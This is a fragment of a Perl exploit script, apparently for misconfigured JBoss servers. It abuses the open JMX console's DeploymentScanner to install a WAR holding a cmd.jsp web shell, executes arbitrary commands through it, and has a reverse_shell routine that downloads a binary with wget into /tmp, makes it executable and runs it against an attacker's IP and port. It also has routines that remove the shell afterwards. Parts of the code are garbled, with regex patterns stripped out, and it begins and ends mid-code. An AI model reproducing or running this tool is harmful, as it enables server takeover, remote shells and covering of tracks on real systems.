JBoss & JMX Console – Misconfigured Deployment Scanner
(.*?) |
(.*?) |
(.*?) |
(.*?) |
}s ){ print " [*] ", trim($1), "\n"; return 0; }else{ print STDERR "error: occured during install_war regex!\n"; return -1; } } sub clean_war { while(is_installed_war == 1){ if ( uninstall_war() < 0 ){ return -1; } } print " [*] Clean complete\n"; return 0; } sub uninstall_war { my $method_index = find_method_index("removeURL"); if ( $method_index < 0 ) { print "Can't find methodIndex for removeURL\n"; return -1; } my $request = POST "$url/jmx-console/HtmlAdaptor", { action => 'invokeOp', name => 'jboss.deployment:type=DeploymentScanner,flavor=URL', methodIndex => "$method_index", arg0 => $url_cmd}; my $response = $ua->request($request); if (!$response->is_success) { print STDERR $response->status_line, "\n"; return -1; } my $page = $response->decoded_content; if ( $page =~ m{(.*?)}s ){ print " [*] ", trim($1), "\n"; return 0; }elsif ( $page =~ m{
(.*?) |
}s ){ print " [*] ", trim($1), "\n"; return 0; }elsif ( $page =~ m{(.*?)}s ){ print " [*] ", trim($1), "\n"; return 0; }else{ print STDERR "error: occured during uninstall_war regex!\n"; return -1; } } sub execute { my $cmd = shift(@_); print '$ ' . $cmd . "\n"; my $request = POST "$url/cmd/cmd.jsp", { cmd => $cmd}; my $response = $ua->request($request); if (!$response->is_success) { if ( $response->code == 404 ){ print STDERR "Command war contener is not installed!\n"; }else{ print STDERR $response->status_line, "\n"; } return -1; } my $page = $response->decoded_content; my $content = $page; if ( $content =~ m{
(.*)}s ){ print trim($1) . "\n"; return 0; }else{ print STDERR "error: occured during exec regex!\n"; return -1; } } sub reverse_shell { my ($ip, $port) = @_; print " [*] reverse shell to $ip $port\n"; my $cmd = "wget -O /tmp/a $url_shell"; if ( execute($cmd) < 0 ){ return -1; } if ( execute("chmod +x /tmp/a") < 0 ){ return -1; } return execute("/tmp/a $ip $port"); } sub trim($){ my $string = shift; $string =~ s/^\s+//; $string =~ s/\s+$//; return $string; } sub setup { print " [*] Check url $url...\n"; if ( check_url() < 0 ){ print "Url $url not available!\n"; return -1; } print " [*] Try to install command war contener...\n"; return install_war; } sub check_cmd { my $t = 5; for( my $i = 1; $i <= $t ; ++$i ){ my $request = GET "$url/cmd/cmd.jsp"; my $response = $ua->request($request); if (!$response->is_success) { if ( $response->code != 404 ){ print STDERR $response->status_line, "\n"; return 0; } print(" [*] check_cmd $i/$t failed\n"); }else{ print(" [*] check_cmd $i/$t ok, gogogo!\n"); return 1; } if ( $i < $t-1) {sleep(15); } } return 0; } sub help { print "Help\n"; print " - Is a perl shell so you can call perl function\n"; print " > execute(\"id\") # execute the commande\n"; print " > reverse_shell(\"8.8.8.8\", \"1912\") # download your reverse shell and execute it\n"; print " > clean # remove the war contener from the server\n"; print " > check_cmd # loop until command available\n"; print " > install_war # install the war contener from url\n"; print " > exit # clean and quit\n"; print " > exitd # exit without cleaning\n"; } sub build_war { my $jsp_file = "cmd.jsp"; open( my $jsp_output, '>', $jsp_file ) or die("Can't open $jsp_file : $!"); print $jsp_output <